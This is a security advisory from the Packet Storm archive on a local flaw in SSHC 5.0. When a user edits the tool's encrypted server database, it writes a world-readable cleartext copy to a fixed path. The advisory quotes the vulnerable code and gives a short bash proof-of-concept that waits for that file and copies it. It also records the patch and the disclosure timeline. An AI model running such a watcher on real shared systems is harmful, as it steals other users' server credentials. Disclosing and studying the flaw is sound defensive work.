exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SSHC 5.0 Encrypted Database Content Stealing

SSHC 5.0 Encrypted Database Content Stealing
Posted Jun 22, 2016
Authored by Mickael Dorigny

SSHC version 5.0 is susceptible to an encrypted database content theft vulnerability.

tags | exploit
SHA-256 | b65f0bcd7a1b909d9cb74e42f7e28b4350fbff790f58e10c2ce3ecbc6b8ec091

SSHC 5.0 Encrypted Database Content Stealing

Change Mirror Download
######################################################################
# Exploit Title: SSHC v5.0 encrypted database content stealing
# Date: 03/06/2016
# Author: Mickael Dorigny @ Synetis
# Vendor or Software Link: https://github.com/e2ma3n/sshc
# Version: 0.5
# Category: data theft
######################################################################

SSHC description :
======================================================================
When number of accesses to ssh gets high, managment gets hard, so in this time you can use this program for managing servers. By using this program you can select your server from menu and connect to server without password or add public ip address to server's firewall (iptables).

Vulnerabilities description :
======================================================================
SSHC v5.0 is vulnerable to encrypted database content stealing, this vulnerability target the main purpose of this usefull tool.

Poc n°1 : encrypted database content stealing
======================================================================
When a user wants to edit a database (represented as a encrypted file on the disk), sshc make a clear text copy of the encrypted database in a file with a hardcoded name and path. Another user who works on the same system just have to be patient and wait for the victim to edit his database, the attacker then just have to copy the "temporary" file from hsi hardcoded location.

The following part of the code is responsible of this vulnerability :

1 # edite database
2 function edit_db {
3 echo "$database_de" > /opt/sshc_v5/sshc.database.de
4 nano /opt/sshc_v5/sshc.database.de
5 echo -en "[+] encrypt new database, Please type your password: " ; read -s pass
6 openssl aes-256-cbc -pass pass:$pass -a -salt -in /opt/sshc_v5/sshc.database.de -out $database_en
7 rm -f /opt/sshc_v5/sshc.database.de &> /dev/null
8 echo -e "\n[+] Done, New database saved and encrypted"
9 echo '[+] ------------------------------------------------------------------- [+]'
10 exit 0
11 }

When a user wants to edit a database (represented as a encrypted file on the disk), sshc makes a clear text copy of the encrypted database in a file with a hard-coded name and path. Another user who works on the same system just have to be patient and wait for the victim to edit his database, the attacker then just have to copy the "temporary" clear text file from his hardcoded location.

Note that, with UNIX default umask configuration, the created file "/opt/sshc_v5/sshc.database.de" have the following permission "-rw-r--r--" wich allow it to be readed by all users.

This little bash script can be launched by another user that is on the same system that the victim:
#!/bin/bash
while [ ! -f /opt/sshc_v5/sshc.database.de ] ;
do
sleep 1;
done
cp /opt/sshc_v5/sshc.database.de ~/sshc_database.de

It just wait for the file to be created and when it detect it, it just copy the file in the attacker home directory.

Moreover, this vulnerability can be exploited from a remote host if combined with a local fil inclusion in a web application (for example).

Solution:
======================================================================
- Update your SSHC tool to the patched version


Additional resources :
======================================================================
- https://www.youtube.com/watch?v=6VA9Z0O9JBg
- https://www.information-security.fr/sshc-faille-decouverte-via-audit-de-code/
- https://github.com/e2ma3n/sshc

Report timeline :
======================================================================
2016-06-03 : Advisory submitted to editor
2016-06-15 : Vulnerability patch released on SSHC Github
2016-06-22 : Advisory public release

Credits :
======================================================================
Mickael Dorigny - Security Consultant @ Synetis | Information-Security.fr

My Packet Storm Security profile : https://packetstormsecurity.com/files/author/12112/

--
SYNETIS
CONTACT: www.synetis.com | www.information-security.fr
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close